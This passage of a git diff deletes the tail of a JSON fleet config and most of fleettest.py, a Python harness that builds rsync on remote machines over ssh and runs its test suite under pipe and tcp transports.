OS as mac-x86, built with the SIMD/asm optimizations ON. The only target that exercises --enable-roll-asm/--enable-md5-asm on Mach-O -- the combination Roland Kletzing reported in #160, where an AVX2 over-read (#178) survived two months precisely because nothing built with these flags. Needs MacPorts clang 19 via CC/CXX: Apple clang 10 cannot compile the function-multiversioning probe. Runs after mac-x86, since the harness never runs two targets on one machine at once.\",\n-      \"name\": \"mac-x86-asm\",\n-      \"ssh_host\": \"tridge@mac\",\n-      \"workflow\": \"macos-build.yml\",\n-      \"privilege\": \"sudo\",\n-      \"configure_flags\": [\n-        \"--with-rrsync\",\n-        \"--enable-roll-simd\",\n-        \"--enable-roll-asm\",\n-        \"--enable-md5-asm\",\n-        \"--disable-md2man\"\n-      ],\n-      \"_xfail_comment\": \"Same APFS birthtime caveat as mac2.\",\n-      \"xfail\": [\n-        \"crtimes\"\n-      ],\n-      \"env_prefix\": \"export PATH=/opt/local/bin:/opt/local/sbin:$PATH\",\n-      \"configure_pre\": \"CC=clang-mp-19; CXX=clang++-mp-19; CPPFLAGS=\\\"-I/opt/local/include\\\"; LDFLAGS=\\\"-L/opt/local/lib\\\"; export CC CXX CPPFLAGS LDFLAGS;\",\n-      \"expect_skip_extra\": [\n-        \"symlink-mknod-fakesuper-symlink-race\"\n-      ],\n-      \"_expect_skip_omit_comment\": \"simd-checksum is a macOS-wide expected skip because simdtest is only built when SIMD is enabled -- which is the whole point of this target, so it RUNS here.\",\n-      \"expect_skip_omit\": [\n-        \"sender-remove-source-root-anchor\",\n-        \"simd-checksum\"\n-      ]\n-    },\n-    {\n-      \"_comment\": \"Cygwin: non-root plain user (no sudo), binary is rsync.exe. The workflow installs only the python39 package, so pin python3.9 here too: the box's default python3 (3.12) has a working AF_UNIX socketpair, which makes daemon-stdin-local-socket run where cygwin.txt expects it to skip. Keep python39 current: the xattr tests need the os.getxattr that newer Cygwin builds (3.9.25+) expose.\",\n-      \"name\": \"cygwin\",\n-      \"ssh_host\": \"win11\",\n-      \"workflow\": \"cygwin-build.yml\",\n-      \"rsync_bin\": \"rsync.exe\",\n-      \"python\": \"python3.9\",\n-      \"privilege\": \"user\",\n-      \"configure_flags\": [\n-        \"--with-rrsync\"\n-      ]\n-    }\n-  ]\n-}\ndiff --git a/testsuite/fleettest.py b/testsuite/fleettest.py\ndeleted file mode 100755\nindex 154514c..0000000\n--- a/testsuite/fleettest.py\n+++ /dev/null\n@@ -1,1403 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"Fleet CI harness for rsync.\n-\n-Builds the committed HEAD of an rsync checkout on a fleet of remote machines\n-(over ssh), runs the test suite under both transports (default stdio-pipe and\n---use-tcp) in parallel, and prints one report of only the UNEXPECTED results --\n-a fast local pre-flight for the GitHub CI matrix.\n-\n-Each target maps 1:1 to a .github/workflows/*.yml job: the per-target configure\n-flags mirror that workflow, and the pipe-run RSYNC_EXPECT_SKIPPED list is PARSED\n-from the workflow (not hardcoded). The --use-tcp run never sets an expected-skip\n-list (matching the workflows), so only test FAILs matter there.\n-\n-The tcp pass runs only the tests that can reach the daemon transport, because it\n-follows a full pipe pass over the very same build: --use-tcp is observable only\n-through rsyncfns' start_test_daemon(), so a test that never calls it produces\n-the same result twice. Pass --full-tcp to run the whole suite there anyway.\n-\n-A target may also list older \"protocols\" (e.g. [30, 29]) in the fleet config:\n-each runs as an extra stdio-pipe pass with runtests --protocol=N (the fleet\n-analogue of a workflow's check30/check29 steps), using that step's own parsed\n-skip list, and shows up as a protoNN column in the report.\n-\n-The fleet -- which machines, how to reach and build each -- is read from a JSON\n-config: ~/.fleettest.json if present, else fleettest.json next to this script,\n-or --fleet PATH. Copy the bundled fleettest.json.example to either location (or\n-symlink it) and edit for your own hosts; see testsuite/README.md and the\n-comments in fleettest.json.example.\n-\n-Source = `git archive HEAD` of the rsync tree (the current directory, or --repo\n-PATH) -- source-only, no .o/binaries are ever pushed.\n-\n-Every run uses its own randomly-named build directory on each target\n-(<builddir>-<run_id>-<target>), so two or three fleettest runs can share the same\n-fleet without interfering: each pushes, builds and tests in isolation. The run dir\n-is removed when the run ends -- on success or failure, and best-effort on\n-Ctrl-C/kill (pass --keep to retain it for inspection).\n-\n---keep-on-fail is the cheaper half of --keep: only the targets that came back\n-with something unexpected keep their run dir, and their full build/test output\n-is also written locally under fleettest-logs/<run_id>/<target>/. A fleet run\n-costs a full build on every machine, so re-running just to see why one test\n-failed is expensive -- and a race test may not fail the same way twice.\n-\n-A run that is hard-killed\n-(SIGKILL), or signalled mid-push, or whose ssh dies during cleanup can leave a\n-stray <builddir>-<id>-<target> behind -- plus an orphaned path-flipper or test\n-rsyncd on platforms without a parent-death backstop; sweep all of those\n-(root-owned files included, via sudo -n) with `fleettest.py --cleanup` (optionally\n-scoped with --targets). Run --cleanup between runs, not during one: its process\n-kills are host-global and would also catch a concurrent run's flipper/daemon.\n-Because each run starts from a fresh dir, every build is a full configure + build.\n-\n-Targets run concurrently, EXCEPT that targets naming the same machine run one\n-after another. More than one target may point at a single host -- a variant that\n-tests the same build on a different filesystem does -- and those cannot overlap:\n-they would fight over the fixed ports the daemon tests claim, and over any other\n-host-global state.\n-\n-PROVISIONING: each target must have the build toolchain its workflow's prepare\n-step installs -- the target regenerates its own configure/proto.h/man pages, so\n-it needs autoconf+automake, perl, a python3 markdown lib (cmarkgfm or commonmark)\n-unless its flags pass --disable-md2man, and the dev libraries for whatever its\n-configure flags enable (e.g. --with-rrsync needs openssl/xxhash/zstd/lz4 headers).\n-A missing piece shows up as BUILD-FAIL with configure's own \"you need X\" hint.\n-\n-Per-target \"privilege\" (set in the JSON) controls how the suite runs: \"root\"\n-(already root -- run directly), \"sudo\" (build unprivileged, run the suite via\n-sudo to match a CI runner), or \"user\" (run directly as a plain non-root user). A\n-target with \"nonroot\": true additionally reruns -- as the (non-root) ssh user,\n-after the sudo runs -- every test that declares `fleet_nonroot = True` at module\n-level, so privilege-sensitive tests opt in from the test file itself with no\n-fleet-config edit when new ones are added.\n-\n-Usage (run from inside an rsync checkout, or pass --repo):\n-    python3 testsuite/fleettest.py                 # whole fleet, both transports\n-    python3 testsuite/fleettest.py --targets cygwin,freebsd\n-    python3 testsuite/fleettest.py --transport pipe\n-    python3 testsuite/fleettest.py --keep          # keep run dirs for inspection\n-    python3 testsuite/fleettest.py --keep-on-fail  # ...but only where it broke\n-    python3 testsuite/fleettest.py --timing        # per-target AND per-test times\n-    python3 testsuite/fleettest.py --cleanup       # sweep stray run dirs, exit\n-    python3 testsuite/fleettest.py --fleet my-fleet.json --list\n-\n-Exit 0 iff every selected (target x transport) cell is OK.\n-\"\"\"\n-\n-from __future__ import annotations\n-\n-import argparse\n-import atexit\n-import concurrent.futures\n-import dataclasses\n-import fnmatch\n-import json\n-import os\n-import shlex\n-import re\n-import secrets\n-import signal\n-import subprocess\n-import sys\n-import tempfile\n-import threading\n-import time\n-from pathlib import Path\n-\n-# Set from --skip / --xfail in main(). SKIP_CSV is passed to runtests as\n-# RSYNC_EXCLUDE (tests dropped before running); XFAIL_GLOBS are tolerated\n-# failures (a matching FAIL does not make a cell \"not OK\"). Both are\n-# comma-separated test-name globs (fnmatch), applied across every target.\n-SKIP_CSV = \"\"\n-# Names from a backport tree's testsuite/skiplist/backport.txt (see main()).\n-BACKPORT_EXCLUDE: list[str] = []\n-XFAIL_GLOBS: list[str] = []\n-\n-# Set from --timing in main(). Also asks each target's runtests.py for its own\n-# per-test wall-clock table, so a slow cell can be attributed to actual tests.\n-TIMING = False\n-\n-# Set from --full-tcp in main(): run the WHOLE suite in the tcp pass rather than\n-# only the tests that can observe the transport. The narrow pass is the default\n-# because the tcp run follows a full pipe run over the very same build.\n-FULL_TCP = False\n-\n-# The transports this run will execute (from --transport), needed in test_script\n-# to tell \"tcp after a pipe pass\" from \"tcp is the only pass\".\n-TRANSPORTS: list[str] = []\n-\n-# Set from --repo in main() (default: cwd). The harness builds whatever rsync\n-# source tree these point at, so it must be run from inside an rsync checkout\n-# or given --repo PATH.\n-REPO = Path.cwd()\n-# Source tree providing the test suite (runtests.py + testsuite/). Defaults to\n-# REPO; --testsuite-repo decouples it so one tree is built and another's suite is\n-# run against the result.\n-TESTSUITE_REPO = REPO\n-WORKFLOWS = TESTSUITE_REPO / \".github\" / \"workflows\"\n-\n-# Fleet config (overridable with --fleet): ~/.fleettest.json is tried first, then\n-# fleettest.json next to this script. The example template sits next to the\n-# script too.\n-HOME_CONFIG = Path.home() / \".fleettest.json\"\n-SCRIPT_CONFIG = Path(__file__).resolve().parent / \"fleettest.json\"\n-DEFAULT_CONFIGS = [HOME_CONFIG, SCRIPT_CONFIG]\n-EXAMPLE_CONFIG = SCRIPT_CONFIG.with_name(SCRIPT_CONFIG.name + \".example\")\n-\n-# The pushed tree is source-only (git archive). Each target regenerates its own\n-# build files, so --delete must NOT prune them: we exclude everything `make`\n-# produces (autotools output, proto.h, man pages, config.h/Makefile, *.o, the\n-# binaries) plus test artifacts a prior sudo run left root-owned (testtmp,\n-# __pycache__, *.pyc -- which a non-root --delete can't unlink). Excluded paths\n-# are protected from --delete, so each target keeps its native build state for\n-# incremental rebuilds. `configure` itself is committed, so it is NOT excluded.\n-PUSH_EXCLUDES = [\n-    \".git\", \"config.h\", \"config.status\", \"config.log\", \"Makefile\", \"shconfig\",\n-    \"configure.sh\", \"config.h.in\", \"aclocal.m4\", \"proto.h\", \"git-version.h\",\n-    \"/rsync.1\", \"/rsync-ssl.1\", \"/rsyncd.conf.5\", \"/rrsync.1\",\n-    \"*.o\", \"*.exe\", \"__pycache__\", \"*.pyc\", \"/testtmp\",\n-    \"/rsync\", \"/tls\", \"/getgroups\", \"/getfsdev\", \"/trimslash\", \"/wildtest\",\n-    \"/testrun\", \"/simdtest\", \"/t_unsafe\", \"/t_chmod_secure\", \"/t_rename_secure\",\n-    \"/t_symlink_secure\", \"/t_secure_relpath\",\n-]\n-\n-\n-@dataclasses.dataclass\n-class Target:\n-    name: str\n-    ssh_host: str | None          # null in JSON => run locally\n-    workflow: str                 # filename under .github/workflows\n-    configure_flags: list[str]\n-    make: str = \"make\"            # e.g. \"gmake\" on the BSDs/Solaris\n-    env_prefix: str = \"\"          # exported before configure AND make (e.g. PATH)\n-    scratchbase: str = \"\"         # run the tests' scratch trees here (e.g. another filesystem)\n-    configure_pre: str = \"\"       # shell run before ./configure (env exports, brew)\n-    python: str = \"python3\"\n-    rsync_bin: str = \"rsync\"      # \"rsync.exe\" on Cygwin\n-    privilege: str = \"root\"       # \"root\" (already root) | \"sudo\" | \"user\" (plain, no sudo)\n-    pipe_jobs: int = 8\n-    tcp_jobs: int = 8\n-    # Base build-dir name (relative to remote $HOME; absolute for local). A\n-    # per-run random suffix is appended (-> <builddir>-<run_id>) so concurrent\n-    # fleettest runs don't share a tree; --cleanup sweeps leftover <builddir>-*.\n-    builddir: str = \"rsync-citest\"\n-    # When true, after the sudo runs, additionally run -- as the (non-root) ssh\n-    # user -- every test that declares `fleet_nonroot = True` (see\n-    # discover_nonroot_tests). Mirrors a workflow's non-root check step.\n-    nonroot: bool = False\n-    # Older protocol versions to additionally exercise, each as a separate\n-    # stdio-pipe pass with runtests --protocol=N (the fleet analogue of a\n-    # workflow's check30/check29 steps). e.g. [30, 29]. Empty => proto pass off.\n-    protocols: list[int] = dataclasses.field(default_factory=list)\n-    # Per-target retry budget for FLAKY tests: after a run, each failed test is\n-    # re-run on its own up to max_retry more times, and any that then pass are\n-    # dropped from the failure list (and reported as \"recovered\", never hidden).\n-    # Use on a slow/loaded box where concurrency-sensitive tests occasionally\n-    # flake, instead of dropping the whole target to a lower -j. 0 => no retry.\n-    max_retry: int = 0\n-    # Test names this specific box skips beyond what its workflow lists -- e.g. an\n-    # old-kernel fleet box (no openat2/RESOLVE_BENEATH) skips the RB-conditional\n-    # symlink-race tests that the workflow's newer CI runner actually runs.  Merged\n-    # into RSYNC_EXPECT_SKIPPED for each pipe/protocol pass the workflow itself\n-    # pins -- a pass with no matching workflow step stays unpinned (see\n-    # workflow_skip_for).\n-    expect_skip_extra: list[str] = dataclasses.field(default_factory=list)\n-    # ...and the mirror: entries the workflow expects to skip which this target\n-    # actually RUNS (a relocated scratch can satisfy a condition the\n-    # workflow's host cannot, e.g. a cross-device copy).\n-    expect_skip_omit: list[str] = dataclasses.field(default_factory=list)\n-    # Test-name globs this box never runs (passed to runtests as RSYNC_EXCLUDE),\n-    # for tests unreliable on this platform for a non-rsync reason -- e.g. the\n-    # daemon+flipper symlink-race tests on openbsd, which the platform's kernel\n-    # connect()-under-rename-load bug hangs (see dev-notes). Merged with --skip.\n-    exclude: list[str] = dataclasses.field(default_factory=list)\n-    # Test-name globs whose failure is tolerated on THIS box (merged with the\n-    # global --xfail), for a known platform/version-specific failure that should\n-    # not fail the cell -- e.g. crtimes on macOS for an older binary. The test\n-    # still runs; if it passes, the entry is simply a no-op.\n-    xfail: list[str] = dataclasses.field(default_factory=list)\n-\n-\n-def load_fleet(path: Path) -> list[Target]:\n-    \"\"\"Load the fleet from a JSON file of the shape {\"targets\": [ {...}, ... ]}.\n-\n-    Each entry's keys are Target fields; keys starting with \"_\" are treated as\n-    comments and ignored (both at top level and per target). Validation errors\n-    name the offending target so a typo is easy to find.\"\"\"\n-    try:\n-        data = json.loads(path.read_text())\n-    except OSError as e:\n-        sys.exit(f\"cannot read fleet config {path}: {e}\")\n-    except json.JSONDecodeError as e:\n-        sys.exit(f\"invalid JSON in {path}: {e}\")\n-    if not isinstance(data, dict) or not isinstance(data.get(\"targets\"), list):\n-        sys.exit(f'{path}: expected a JSON object with a \"targets\" array')\n-    fields = {f.name for f in dataclasses.fields(Target)}\n-    fleet: list[Target] = []\n-    for i, entry in enumerate(data[\"targets\"]):\n-        if not isinstance(entry, dict):\n-            sys.exit(f\"{path}: targets[{i}] is not an object\")\n-        entry = {k: v for k, v in entry.items() if not k.startswith(\"_\")}\n-        who = entry.get(\"name\", f\"targets[{i}]\")\n-        bad = set(entry) - fields\n-        if bad:\n-            sys.exit(f\"{path}: target {who!r} has unknown key(s): \"\n-                     f\"{', '.join(sorted(bad))}\")\n-        try:\n-            fleet.append(Target(**entry))\n-        except TypeError as e:\n-            sys.exit(f\"{path}: target {who!r}: {e}\")\n-    if not fleet:\n-        sys.exit(f\"{path}: no targets defined\")\n-    return fleet\n-\n-\n-# ---------------------------------------------------------------------------\n-# command execution (ssh for remote, local shell when ssh_host is null)\n-# ---------------------------------------------------------------------------\n-\n-\n-@dataclasses.dataclass\n-class CmdResult:\n-    rc: int\n-    out: str          # combined stdout + stderr\n-    timed_out: bool = False\n-\n-\n-def run_on(target: Target, script: str, timeout: int) -> CmdResult:\n-    \"\"\"Run a /bin/sh script on the target. Remote via ssh, else local.\"\"\"\n-    if target.ssh_host:\n-        argv = [\"ssh\", \"-o\", \"BatchMode=yes\", \"-o\", \"ConnectTimeout=15\",\n-                target.ssh_host, script]\n-    else:\n-        argv = [\"/bin/sh\", \"-c\", script]\n-    try:\n-        p = subprocess.run(argv, capture_output=True, text=True, timeout=timeout)\n-        return CmdResult(p.returncode, (p.stdout or \"\") + (p.stderr or \"\"))\n-    except subprocess.TimeoutExpired as e:\n-        out = (e.stdout or b\"\") + (e.stderr or b\"\")\n-        if isinstance(out, bytes):\n-            out = out.decode(errors=\"replace\")\n-        return CmdResult(124, out, timed_out=True)\n-    except FileNotFoundError as e:\n-        return CmdResult(127, str(e))\n-\n-\n-def push_argv(target: Target, staging: str) -> list[str]:\n-    # -rlpgoD = -a without -t: do NOT preserve mtimes. The host clock can be\n-    # hours AHEAD of a target, so preserved (commit-time) mtimes land \"in the\n-    # future\" there and rsync's `Makefile: Makefile.in config.status` rule\n-    # triggers a config.status/autoconf regeneration storm. Letting files take\n-    # the target's own clock avoids that. --checksum keeps the transfer\n-    # incremental despite the unstable mtimes (decide by content, not size+time).\n-    args = [\"rsync\", \"-rlpgoD\", \"--checksum\", \"--delete\"]\n-    for ex in PUSH_EXCLUDES:\n-        args.append(f\"--exclude={ex}\")\n-    dst = f\"{target.ssh_host}:{target.builddir}/\" if target.ssh_host \\\n-        else f\"{target.builddir}/\"\n-    args += [f\"{staging}/\", dst]\n-    return args\n-\n-\n-# ---------------------------------------------------------------------------\n-# workflow skip-list parsing\n-# ---------------------------------------------------------------------------\n-\n-def parse_workflow_skip(workflow: str, make_target: str = \"check\") -> str | None:\n-    \"\"\"Return the literal RSYNC_EXPECT_SKIPPED spec for the given `make <target>`\n-    step (check / check30 / check29), or None if that step leaves it unset.  The\n-    protocol passes have their own check30/check29 lines (e.g. an xattr/ACL test\n-    that runs at proto 30 but skips at 29), so they must be parsed separately from\n-    the plain pipe `make check`.  The trailing '? tolerates a `bash -c '... make\n-    check'` wrapper (e.g. Cygwin).\n-\n-    The spec is passed through to the remote runtests.py verbatim; @FILE entries\n-    (testsuite/skiplist/*.txt) are expanded there, against the staged tree, so\n-    the list always matches the tests that shipped with it.\"\"\"\n-    path = WORKFLOWS / workflow\n-    try:\n-        text = path.read_text()\n-    except OSError:\n-        return None\n-    rx = re.compile(r\"RSYNC_EXPECT_SKIPPED=(\\S+)\\s+make\\s+\"\n-                    + re.escape(make_target) + r\"'?\\s*$\", re.M)\n-    m = rx.search(text)\n-    return m.group(1) if m else None\n-\n-\n-def _expand_spec_names(spec: str) -> set[str]:\n-    \"\"\"The test names a workflow's RSYNC_EXPECT_SKIPPED spec resolves to, by\n-    reading its @FILE references out of the suite tree.  Only used to decide\n-    which backport exclusions are actually IN the expected-skip set: runtests\n-    rejects a '-name' that removes a name nothing added, so a removal may only\n-    be emitted for a name the spec really contains.\"\"\"\n-    names: set[str] = set()\n-    for tok in spec.split(\",\"):\n-        tok = tok.strip()\n-        if not tok or tok.startswith(\"-\"):\n-            continue\n-        if tok.startswith(\"@\"):\n-            f = TESTSUITE_REPO / tok[1:]\n-            try:\n-                for ln in f.read_text().splitlines():\n-                    ln = ln.split(\"#\", 1)[0].strip()\n-                    if ln:\n-                        names.add(ln)\n-            except OSError:\n-                pass\n-        else:\n-            names.add(tok)\n-    return names\n-\n-\n-def workflow_skip_for(t: \"Target\", make_target: str = \"check\") -> str | None:\n-    \"\"\"The target's expected-skip csv for a `make <target>` pass: its workflow's\n-    RSYNC_EXPECT_SKIPPED, plus any per-target expect_skip_extra (old-box-only\n-    skips the workflow omits) and minus any expect_skip_omit (tests the workflow\n-    expects to skip which this target can actually run).\n-\n-    The workflow spec is now mostly @FILE references, which are expanded on the\n-    target rather than here, so an omission cannot be done by set subtraction:\n-    the name to drop lives inside a file we deliberately do not read.  It is\n-    emitted as a '-name' token instead, which runtests.py applies after every\n-    addition.\n-\n-    None (no oracle) when the workflow has no such step -- e.g. a protocols=[29]\n-    target whose workflow has no check29 line.  The extras alone would be a\n-    near-empty expected set and so a guaranteed mismatch; a lane the workflow\n-    does not pin is simply not pinned here either.\"\"\"\n-    base = parse_workflow_skip(t.workflow, make_target)\n-    # A backport-excluded test never runs, so it cannot skip either: drop it\n-    # from the expected-skip set as well, or the oracle waits for a skip that\n-    # can no longer happen.  Only for names the spec actually contains --\n-    # runtests rejects a '-name' that removes a name nothing added.\n-    in_spec = _expand_spec_names(base) if (base and BACKPORT_EXCLUDE) else set()\n-    omit = set(t.expect_skip_omit) | (set(BACKPORT_EXCLUDE) & in_spec)\n-    if base is None or not (t.expect_skip_extra or omit):\n-        return base\n-    items = sorted(set(t.expect_skip_extra) | ({base} if base else set()))\n-    # A backport-excluded test cannot skip, because it never runs -- so it must\n-    # also come OUT of the expected-skip set, or the oracle waits for a skip\n-    # that can no longer happen.  The name usually lives inside an @FILE, so it\n-    # is dropped with a '-name' token that runtests applies after expansion.\n-    items += [f\"-{n}\" for n in sorted(omit)]\n-    return \",\".join(items)\n-\n-\n-# ---------------------------------------------------------------------------\n-# non-root test discovery\n-# ---------------------------------------------------------------------------\n-\n-# A test opts into the fleet's extra non-root pass by setting a module-level\n-# `fleet_nonroot = True`. We read it with a text scan rather than importing the\n-# module (test files execute their body on import), so a new privilege-sensitive\n-# test joins the pass just by carrying the marker -- no fleet-config edit needed.\n-_NONROOT_RE = re.compile(r\"^[ \\t]*fleet_nonroot[ \\t]*=[ \\t]*True\\b\", re.M)\n-\n-\n-def discover_nonroot_tests(testsuite_dir: Path) -> list[str]:\n-    \"\"\"Return the names (without the _test.py suffix) of the tests under\n-    testsuite_dir that declare `fleet_nonroot = True`.\"\"\"\n-    names = []\n-    for p in sorted(testsuite_dir.glob(\"*_test.py\")):\n-        try:\n-            if _NONROOT_RE.search(p.read_text(errors=\"replace\")):\n-                names.append(p.name[: -len(\"_test.py\")])\n-        except OSError:\n-            continue\n-    return names\n-\n-\n-def _exclude_csv(t: \"Target\") -> str:\n-    \"\"\"RSYNC_EXCLUDE csv for a target: the global --skip globs plus this target's\n-    per-box `exclude` list (tests it never runs, e.g. the openbsd kernel-bug\n-    daemon+flipper races).\"\"\"\n-    parts = [p for p in ([SKIP_CSV] + list(t.exclude)) if p]\n-    return \",\".join(parts)\n-\n-\n-# ---------------------------------------------------------------------------\n-# remote script builders\n-# ---------------------------------------------------------------------------\n-\n-\n-def build_script(t: Target) -> str:\n-    flags = \" \".join(t.configure_flags)\n-    # configure only when not yet configured (keeps incremental builds fast);\n-    # --clean wipes the builddir beforehand so Makefile is absent -> reconfigure.\n-    pre = f'{t.env_prefix}\\n' if t.env_prefix else ''\n-    return (\n-        f'cd {t.builddir} || exit 3\\n'\n-        f'{pre}'\n-        f'if [ ! -f Makefile ]; then {t.configure_pre} ./configure {flags} || exit 4; fi\\n'\n-        f'{t.make} -j{t.pipe_jobs} check-progs || exit 5\\n'\n-    )\n-\n-\n-def test_script(t: Target, transport: str, skip_csv: str | None, jobs: int,\n-                protocol: int | None = None, only: list[str] | None = None) -> str:\n-    rb = f'--rsync-bin=\"$PWD/{t.rsync_bin}\"'\n-    tcp = \" --use-tcp\" if transport == \"tcp\" else \"\"\n-    # protocol forces an older wire version (mirrors `make check30`/`check29`).\n-    proto = f\" --protocol={protocol}\" if protocol is not None else \"\"\n-    # PYTHONDONTWRITEBYTECODE: don't drop root-owned __pycache__/*.pyc into the\n-    # tree (a sudo run would, breaking the next non-root push --delete).\n-    env = \"PYTHONDONTWRITEBYTECODE=1 \"\n-    if t.scratchbase:\n-        # Must travel in `env`, not env_prefix: the sudo branch below runs\n-        # `sudo -n env ...`, which drops whatever the outer shell exported.\n-        env += f\"scratchbase={shlex.quote(t.scratchbase)} \"\n-    excl = _exclude_csv(t)\n-    if excl:\n-        env += f\"RSYNC_EXCLUDE={excl} \"\n-    # Named tests (a max_retry re-run) make runtests full_run False, so the\n-    # expected-skip list does not apply -- only the named tests' pass/fail matter.\n-    names = \"\"\n-    if only:\n-        names = \" \" + \" \".join(only)\n-    elif skip_csv:\n-        env += f\"RSYNC_EXPECT_SKIPPED={skip_csv} \"\n-    # --timing makes the remote runtests print its own per-test wall-clock table,\n-    # which lands in the captured output: that is where a \"this target is slow\"\n-    # cell turns into \"these tests are slow on this target\".\n-    timing = \" --timing\" if TIMING and not only else \"\"\n-    # --use-tcp is observable only through start_test_daemon(), so when the tcp\n-    # pass follows a full pipe pass over the same build, the tests that never\n-    # reach it would just produce the same result twice: narrow it to the ones\n-    # that can tell the difference. That reasoning depends ENTIRELY on the pipe\n-    # pass having run -- under --transport tcp it is the only pass there is, and\n-    # narrowing it would silently drop the other 186 tests from the run\n-    # altogether. --full-tcp forces the full sweep either way.\n-    narrow_tcp = (transport == \"tcp\" and not FULL_TCP and not only\n-                  and \"pipe\" in TRANSPORTS)\n-    only_daemon = \" --daemon-tests-only\" if narrow_tcp else \"\"\n-    runtests = (f'{t.python} runtests.py {rb}{tcp}{proto} '\n-                f'-j {jobs}{timing}{only_daemon}{names}')\n-    # env_prefix (e.g. a brew PATH) must reach the test too: some tests build a\n-    # helper binary on the fly (a test may invoke `make`, which needs gawk etc.),\n-    # so the build tools must be on PATH at test time.\n-    pre = f'{t.env_prefix}; ' if t.env_prefix else ''\n-    if t.privilege == \"sudo\":\n-        # -n: never prompt (capture_output has no TTY -- a prompt would hang\n-        # the whole timeout). Targets need passwordless sudo or a fresh\n-        # `sudo -v`. env keeps the vars (and PATH) across the sudo boundary.\n-        path_pass = 'PATH=\"$PATH\" ' if t.env_prefix else ''\n-        cmd = f\"{pre}sudo -n env {path_pass}{env}{runtests}\"\n-    else:\n-        cmd = pre + env + runtests\n-    return f'cd {t.builddir} || exit 3\\n{cmd}\\n'\n-\n-\n-def nonroot_test_script(t: Target, names: list[str]) -> str:\n-    \"\"\"Run the given tests as the (non-root) ssh user -- the fleet analogue of a\n-    workflow's non-root check step. Explicit test names make runtests.py\n-    full_run False, so no RSYNC_EXPECT_SKIPPED is involved; only FAILs matter.\n-    The prior sudo pipe/tcp runs left testtmp root-owned, so clear it (via sudo)\n-    before the non-root run recreates it.\"\"\"\n-    pre = f'{t.env_prefix}; ' if t.env_prefix else ''\n-    _e = _exclude_csv(t)\n-    excl = f'RSYNC_EXCLUDE={_e} ' if _e else ''\n-    sb = f'scratchbase={shlex.quote(t.scratchbase)} ' if t.scratchbase else ''\n-    runtests = (f'PYTHONDONTWRITEBYTECODE=1 {sb}{excl}{t.python} runtests.py '\n-                f'--rsync-bin=\"$PWD/{t.rsync_bin}\" {\" \".join(names)}')\n-    # A relocated scratch lives outside builddir, so clearing ./testtmp alone\n-    # leaves the prior sudo run's root-owned tree in place and the non-root\n-    # pass cannot create anything under it.\n-    extra_rm = (f'sudo -n rm -rf {shlex.quote(t.scratchbase + \"/testtmp\")}\\n'\n-                if t.scratchbase else '')\n-    return (f'cd {t.builddir} || exit 3\\n'\n-            f'sudo -n rm -rf testtmp\\n'\n-            f'{extra_rm}'\n-            f'{pre}{runtests}\\n')\n-\n-\n-# ---------------------------------------------------------------------------\n-# runtests.py output parsing\n-# ---------------------------------------------------------------------------\n-\n-RE_RESULT = re.compile(r\"^(PASS|FAIL|ERROR|XFAIL|SKIP)\\s+(\\S+)\", re.M)\n-RE_COUNT = re.compile(r\"^\\s+(\\d+)\\s+(passed|failed|xfailed|skipped)\\b\", re.M)\n-RE_SKIP_HDR = re.compile(r\"^----- skipped results:\", re.M)\n-RE_SKIP_EXP = re.compile(r\"^\\s+expected:\\s*(.*)$\", re.M)\n-RE_SKIP_GOT = re.compile(r\"^\\s+got:\\s*(.*)$\", re.M)\n-\n-\n-def _csv_set(s: str) -> set[str]:\n-    return {x for x in s.strip().split(\",\") if x}\n-\n-\n-@dataclasses.dataclass\n-class TransportResult:\n-    transport: str\n-    exit_code: int\n-    timed_out: bool\n-    counts: dict[str, int]\n-    failed: list[str]\n-    skip_checked: bool\n-    skip_expected: set[str]\n-    skip_got: set[str]\n-    raw: str\n-    # Tests that failed the initial run but passed on a max_retry re-run, so they\n-    # were dropped from `failed`.  Surfaced in the report (a recovered flake is\n-    # noted, never silently hidden).\n-    recovered: list[str] = dataclasses.field(default_factory=list)\n-    # Tests whose failure was tolerated via --xfail: dropped from `failed` (so the\n-    # cell can still be OK) but surfaced in the report, never silently hidden.\n-    xfailed_req: list[str] = dataclasses.field(default_factory=list)\n-\n-    @property\n-    def skip_mismatch(self) -> bool:\n-        return self.skip_checked and self.skip_expected != self.skip_got\n-\n-    @property\n-    def ok(self) -> bool:\n-        return (not self.timed_out and self.exit_code == 0\n-                and not self.failed and not self.skip_mismatch)\n-\n-\n-def parse_transport(transport: str, r: CmdResult, skip_checked: bool,\n-                    xfail_extra: list[str] = ()) -> TransportResult:\n-    counts = {\"passed\": 0, \"failed\": 0, \"xfailed\": 0, \"skipped\": 0}\n-    for m in RE_COUNT.finditer(r.out):\n-        counts[m.group(2)] = int(m.group(1))\n-    failed = [m.group(2) for m in RE_RESULT.finditer(r.out)\n-              if m.group(1) in (\"FAIL\", \"ERROR\")]\n-    # --xfail (global) plus this box's per-target xfail: drop tolerated failures\n-    # from `failed` so they don't fail the cell.\n-    xfail_globs = [*XFAIL_GLOBS, *xfail_extra]\n-    xfailed_req = [f for f in failed\n-                   if any(fnmatch.fnmatch(f, g) for g in xfail_globs)]\n-    failed = [f for f in failed if f not in xfailed_req]\n-    exp = got = set()\n-    if skip_checked and RE_SKIP_HDR.search(r.out):\n-        em = RE_SKIP_EXP.search(r.out)\n-        gm = RE_SKIP_GOT.search(r.out)\n-        exp = _csv_set(em.group(1)) if em else set()\n-        got = _csv_set(gm.group(1)) if gm else set()\n-    rc = r.rc\n-    # runtests exits non-zero per failing test; if the only failures were\n-    # tolerated, clear the stale code so the cell reads OK (cf. retry_failed).\n-    if xfailed_req and not failed and rc != 0:\n-        rc = 0\n-    return TransportResult(transport, rc, r.timed_out, counts, failed,\n-                           skip_checked, exp, got, r.out, xfailed_req=xfailed_req)\n-\n-\n-def retry_failed(t: Target, label: str, tr: TransportResult, rerun) -> None:\n-    \"\"\"Honour the target's max_retry budget: re-run each failed test on its own\n-    (serially) up to max_retry more times; drop any that pass and record them in\n-    tr.recovered.  `rerun(names)` runs the given tests and returns a CmdResult.\n-    A no-op when max_retry is 0 or there were no failures.\"\"\"\n-    if not t.max_retry or not tr.failed:\n-        return\n-    remaining = list(tr.failed)\n-    for attempt in range(1, t.max_retry + 1):\n-        r = rerun(remaining)\n-        still = [m.group(2) for m in RE_RESULT.finditer(r.out)\n-                 if m.group(1) in (\"FAIL\", \"ERROR\")]\n-        recovered = [n for n in remaining if n not in still]\n-        if recovered:\n-            tr.recovered.extend(recovered)\n-            log(f\"[{t.name}] {label} retry {attempt}/{t.max_retry}: \"\n-                f\"recovered {','.join(recovered)}\"\n-                + (f\"; still failing {','.join(still)}\" if still else \"\"))\n-        remaining = [n for n in remaining if n in still]\n-        if not remaining:\n-            break\n-    tr.failed = 